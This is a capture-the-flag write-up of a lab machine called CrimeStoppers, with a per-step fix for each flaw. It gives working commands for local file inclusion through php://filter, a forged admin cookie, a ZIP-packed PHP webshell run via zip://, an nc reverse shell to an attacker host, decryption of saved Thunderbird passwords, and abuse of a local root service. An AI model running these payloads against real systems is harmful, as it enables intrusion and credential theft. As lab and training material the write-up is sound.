CrimeStoppers
Summary
I found a PHP tip-submission web application on port 80 whose page-routing parameter accepted PHP stream wrappers without any allowlist filtering, enabling full source-code disclosure. A trivially-forged 'admin' cookie (flipped from 0 to 1) unlocked an upload endpoint that accepted ZIP archives with no content validation. Chaining PHP's zip:// stream wrapper through the same inclusion sink caused Apache to extract and execute an embedded PHP webshell as the web-server process (www-data), producing an initial foothold.
From that shell, a Mozilla Thunderbird mail profile in the dom user's home directory, readable by www-data, held saved credentials in a recoverable encrypted format; the open-source tool firefox_decrypt extracted them in plaintext, allowing authentication as dom and capture of the user flag. Further enumeration uncovered a locally-bound privileged service accepting FTP-style file-retrieval commands on localhost; requesting the 'FunSociety' archive from that service returned credential material enabling escalation to root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets (<profile>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Confirm the only open service and its version.
$ nmap -sV -sC -p 80 $TARGETFingerprint the PHP app, note the admin cookie and op parameter.
$ curl -sS -i http://$TARGET/Exact commands 3
Confirm the upload route is blocked without the admin cookie.
$ curl -sS -i "http://$TARGET/?op=upload"Confirm the upload form is fully exposed with admin=1.
$ curl -sS -i -H 'Cookie: admin=1' "http://$TARGET/?op=upload"Enumerate stored tips and their server-side paths.
$ curl -sS -i -H 'Cookie: admin=1' "http://$TARGET/?op=list"FixReplace the client-controlled admin cookie with server-side session authorizationCritical
Exact commands 4
Dump index.php source: confirms the LFI via php://filter.
$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=index" | base64 -dDump upload.php: reveals token generation, accepted file types, and ZIP storage path.
$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=upload" | base64 -dDump common.php: reveals session and include() logic.
$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=common" | base64 -dDump list.php: reveals how uploaded file paths are stored.
$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=list" | base64 -dFixReplace the open include() router with an explicit page allowlistCritical
Exact commands 3
Create the PHP webshell and package it inside a ZIP.
$ printf '%s\n' '<?php echo "CRIME_RCE:"; system($_GET["cmd"] ?? "id"); ?>' > /tmp/cmd.php && zip /tmp/payload.zip /tmp/cmd.phpFetch the upload form and save the session cookie jar.
$ curl -sS -c /tmp/cj -H 'Cookie: admin=1' "http://$TARGET/?op=upload" -o /tmp/form.htmlSubmit the ZIP with the CSRF token; HTTP 302 confirms the upload was accepted and stored.
$ TOKEN=$(grep -Eo 'value="[a-f0-9]{64}"' /tmp/form.html | grep -Eo '[a-f0-9]{64}'); curl -sS -i -b /tmp/cj -H 'Cookie: admin=1' -F "token=${TOKEN}" -F 'tip=@/tmp/payload.zip;type=application/zip' "http://$TARGET/?op=upload"FixValidate uploaded archive contents and block script execution in the upload directoryCritical
Exact commands 3
Verify code execution: expect CRIME_RCE:uid=33(www-data). Substitute my IP and the sha1 session token produced during your upload.
$ curl -sS "http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd&cmd=id"Open the reverse-shell listener on my machine.
$ nc -lvnp 4445 &Trigger the reverse shell. Replace $ATTACKER_IP and sha1 token with your values.
$ curl -sS --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f" "http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd"Exact commands 4
Locate credential files from the www-data foothold shell.
$ find /home/dom/.thunderbird -maxdepth 3 \( -name 'logins.json' -o -name 'key4.db' \) 2>/dev/nullExtract plaintext credentials. Substitute the actual profile directory name found in the previous step.
$ python3 firefox_decrypt.py /home/dom/.thunderbird/<profile>.default/Authenticate as dom with the decrypted password.
$ su - domCapture the user flag: <user.txt>
$ cat /home/dom/user.txtFixRestrict web-server process access to user home directoriesHigh
Exact commands 3
Run from the dom shell (or www-data shell): send the FTP-style retrieval command to the privileged local service and observe its response.
$ (printf 'get FunSociety\n'; sleep 0.5; printf 'id; cat /root/root.txt; exit\n') | nc -w 5 127.0.0.1 80Alternative: relay the local-service interaction through the www-data webshell if a direct dom shell is not available.
$ python3 -c "import urllib.parse, subprocess; cmd='bash -c \"(printf \\\"get FunSociety\\\\n\\\"; sleep 0.5; printf \\\"id; cat /root/root.txt; exit\\\\n\\\") | nc -w 5 127.0.0.1 80\"'; url='http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd&cmd='+urllib.parse.quote(cmd); r=subprocess.run(['curl','-sS','--max-time','10',url],text=True,capture_output=True); print(r.stdout)"Capture the root flag: <root.txt>
$ cat /root/root.txtFixRemove or harden the locally-bound privileged service that exposes sensitive archivesCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.25 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.